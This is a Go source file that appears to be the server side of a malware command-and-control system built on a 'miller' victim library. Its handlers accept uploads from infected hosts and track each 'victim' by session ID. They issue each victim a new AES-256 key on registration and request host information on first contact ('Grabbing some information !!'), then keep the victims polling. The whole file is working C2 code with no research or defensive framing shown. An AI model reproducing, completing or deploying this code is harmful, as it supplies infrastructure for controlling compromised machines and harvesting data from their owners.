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package main
import (
"../cnclib"
"github.com/gorilla/mux"
"fmt"
"log"
"io"
"net/http"
"encoding/binary"
"encoding/hex"
"crypto/rand"
"bytes"
)
func miller_to_master(v *miller.Victim, url *string) error {
_, err := v.ToJSON(false)
if err != nil {
return err
}
return nil
}
func miller_http_request(v *miller.Victim, r *http.Request) (bool, error) {
var valid bool
var req miller.HttpResp
var err error
read_form, err := r.MultipartReader()
if err != nil {
return false, err
}
for {
part, err := read_form.NextPart()
if err == io.EOF {
break
}
if part.FormName() == "upload" {
buf := new(bytes.Buffer)
buf.ReadFrom(part)
if verbose {
log.Printf("Request (upload; %d bytes):\n%s", len(buf.String()), hex.Dump(buf.Bytes()))
}
err = v.ParseRequest(buf.Bytes(), &req)
if err != nil {
return false, err
}
if verbose {
log.Printf("HTTP REQUEST(%v)", &req)
}
valid = true
}
}
if !valid {
return false, nil
}
return true, nil
}
func miller_randbytes(n int) ([]byte, error) {
b := make([]byte, n)
_, err := rand.Read(b)
if err != nil {
return nil, err
}
return b, nil
}
func miller_state_machine(v *miller.Victim, marker *string) ([]byte, error) {
var err error
var buffer []byte
var resp miller.HttpResp
err = miller.ParseMarkerResponse(&resp, []byte(*marker))
if err != nil {
return nil, err
}
log.Printf("Miller state machine got a '%s'", miller.RCtoString(v.Last_rc_rx))
switch v.Last_rc_rx {
case miller.RC_REGISTER:
resp.RespFlags = miller.RF_OK
resp.RespCode = miller.RC_REGISTER
resp_reg, err := NewRegisterResponse(5, v)
if err != nil {
return nil, err
}
buffer, err = v.BuildRegisterResponse(&resp, resp_reg, buffer)
if err != nil {
return nil, err
}
if v.Last_rf_rx == miller.RF_INITIAL && v.Requests == 1 {
log.Printf("FIRST CONTACT: Grabbing some information !!")
resp.RespFlags = miller.RF_AGAIN
resp.RespCode = miller.RC_INFO
buffer, err = v.BuildInfoResponse(&resp, buffer)
}
break
case miller.RC_INFO:
resp.RespFlags = miller.RF_OK
resp.RespCode = miller.RC_PING
resp_pong := NewPongResponse(5)
buffer, err = v.BuildPongResponse(&resp, &resp_pong, buffer)
if err != nil {
return nil, err
}
break
case miller.RC_PING:
resp.RespFlags = miller.RF_OK
resp.RespCode = miller.RC_PING
resp_pong := NewPongResponse(5)
buffer, err = v.BuildPongResponse(&resp, &resp_pong, buffer)
if err != nil {
return nil, err
}
break
default:
return nil, fmt.Errorf("invalid response code 0x%04X", v.Last_rc_rx)
}
return buffer, nil
}
func miller_http_handler(w http.ResponseWriter, r *http.Request) {
params := mux.Vars(r)
sid, ok := params["sid"]
if !ok {
return
}
marker, ok := params["marker"]
if !ok {
return
}
rnd, ok := params["rnd"]
if !ok {
return
}
fake_resp := miller.HttpResp{}
if r.ContentLength < int64(binary.Size(fake_resp)) {
log.Printf("Fake response has invalid size.")
http.NotFound(w, r)
return
}
if verbose {
log.Printf("---------- %s ----------", "REQUEST")
}
log.Printf("SID '%s' with MARKER '%s' and RND '%s'", sid, marker, rnd)
var err error
var v *miller.Victim
v = mgr.GetVictim(&sid)
if v == nil {
v = miller.NewVictim()
mgr.SetVictim(v, &sid)
}
if !mgr.PushVictim(&sid) {
log.Printf("ERROR Victim is already known to the Manager!")
http.NotFound(w, r)
return
}
valid, err := miller_http_request(v, r)
if err != nil {
log.Printf("ERROR miller_http_request: '%s'", err)
}
if !valid {
log.Printf("ERROR Victim HTTP Request was invalid!")
http.NotFound(w, r)
return
}
buffer, err := miller_state_machine(v, &marker)
if err != nil {
log.Printf("ERROR miller_state_machine: '%s'", err)
}
if buffer == nil {
log.Printf("ERROR binary buffer was empty after miller_state_machine")
http.NotFound(w, r)
return
}
if v.Last_rc_rx == miller.RC_REGISTER && v.Requests > 1 {
log.Printf("WARNING: Victim '%s' RE-REGISTERED !!", sid)
}
if verbose {
log.Printf("Response (%d bytes):\n%s", len(buffer), hex.Dump(buffer))
log.Printf("VICTIM STATE(%s)", v)
json_out, err := v.ToJSON(true)
if err == nil {
log.Printf("VICTIM JSON(%s)", string(json_out))
}
log.Printf("---------- %s ----------", "EoF REQUEST/RESPONSE")
}
mgr.PopVictim(&sid)
w.Write(buffer)
}
func NewRegisterResponse(next_ping uint32, victim *miller.Victim) (*miller.RespRegister, error) {
respreg := miller.RespRegister{ [miller.AESKEY_SIZ]byte{}, next_ping }
aeskey, err := miller_randbytes(int(miller.KEY_256))
if err != nil {
return nil, err
}
err = miller.ParseAESKeyResponse(&respreg, aeskey)
if err != nil {
return nil, err
}
victim.SetAESKey(aeskey)
return &respreg, nil
}
func NewPongResponse(next_ping uint32) miller.RespPong {
return miller.RespPong{ next_ping }
}
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